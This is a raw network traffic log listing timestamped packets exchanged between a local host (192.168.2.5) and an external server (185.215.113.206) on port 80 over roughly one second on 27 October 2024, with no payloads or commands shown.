Oct 27, 2024 07:59:07.549576044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.549576044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.549576044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.549659014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.549690962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.549722910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.549762964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.549762964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.549762964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.549983025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.550014973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.550048113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.550070047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.550082922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.550095081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.591872931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.591922045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.591960907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592011929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592044115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592077971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592084885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592084885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592084885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592084885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592084885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592268944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592473030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592535973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592597008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592679024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592732906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592765093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592799902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592839956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.592869997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592869997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592869997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.592890024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.593266964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.593339920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.593343019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.593374968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.593406916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.593440056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.593508005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.593508005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.593508005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.593508005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.638693094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.638731003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.638830900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.638864040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.638871908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.638871908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.638900995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.638936043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.639354944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.639354944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.639354944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.639355898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.667159081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.667208910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.667247057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.667355061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.667356014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.667367935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.667828083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.667857885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.667881966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.667896032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.667957067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.667992115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.668003082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.668003082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.668003082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.668025970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.668045998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.668087959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.668436050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.668472052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.668504000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.668761015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.668773890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.710459948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710485935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710494041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710501909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710510969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710668087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.710805893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710820913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710846901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.710861921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.711261988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.711261988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.711262941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.711293936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.711328983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.711344004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.711350918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.711374044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.711375952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.711390972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.711400986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.711750031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.711750031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.757275105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.757304907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.757320881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.757333040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.757354975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.757411957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.757422924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.757567883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.757582903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.757684946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.785649061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.785669088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.785684109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.785780907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.785780907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.786446095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786468983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786482096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786494970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786509037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786535978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.786535978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.786571980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.786756992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786788940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786889076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786912918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.786956072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.786973000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.786973000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.828958035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.828999043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829010963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829020977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.829022884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829080105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829090118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829097986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.829097986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.829125881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.829333067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829350948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829360962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829370975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829385042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.829389095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.829498053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.829549074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.830002069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.830020905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.830032110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.830043077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.830054998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.830115080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.830125093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.830136061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.875875950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.875894070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.875905037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.875916958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.875968933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.875968933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.875998974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.876030922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.876043081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.876053095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.876065016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.876096964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.876163960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.904179096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.904215097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.904226065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.904238939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.904315948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.904315948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.904315948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.904870033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.904934883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.905038118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905051947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905181885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.905181885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.905225039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905236959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905249119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905396938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.905396938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.905550003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905560970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905605078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.905724049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905734062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.905817986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.947359085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.947462082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.947482109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.947551966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.947616100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.947629929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.947640896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.947706938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.947720051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.947784901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.947839975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.948147058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948157072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948223114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.948307037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948318005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948331118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948342085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948416948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.948441029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.948642015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948653936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948678017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948688030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948698997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948710918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.948734999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.948734999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.948751926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.948775053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.949696064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.949774981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.949836969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.949892998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.994187117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994227886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994236946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994273901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994291067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994303942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994313002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994323969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:07.994358063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.994358063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:07.994472027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.022485018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.022519112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.022531986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.022706985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.023283005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023296118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023305893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023330927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.023360968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.023437977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.023510933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023524046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023534060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023569107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.023660898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.023762941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023773909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023783922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.023818970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.023942947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.065999031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066032887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066056967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066067934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066077948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066088915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066220999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.066237926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.066462040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066497087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066524982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066545010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.066591978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.066767931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066787958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066803932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066822052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.066823006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.066881895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.066881895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.067188978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.067219973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.067245960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.067260027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.067260027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.067291021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.067291021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.067318916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.067337990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.067344904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.067378044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.067524910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.112819910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.112867117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.112905025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.112915993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.112917900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.112926960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.112940073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.112988949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.113049030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.113079071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.113099098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.113110065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.113146067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.113146067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.113153934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.140935898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.140958071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.140968084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.141076088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.141283989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.141699076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.141773939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.141788006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.141813040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.141832113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.141848087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.141860008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.141860008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.141866922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.141877890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.141889095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.141913891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.142261982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.142283916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.142302990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.142312050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.142337084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.142337084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.142520905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.142577887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:08.142580986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.142621994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:08.142705917 CET	80	49704	185.215.113.206	192.168.2.5
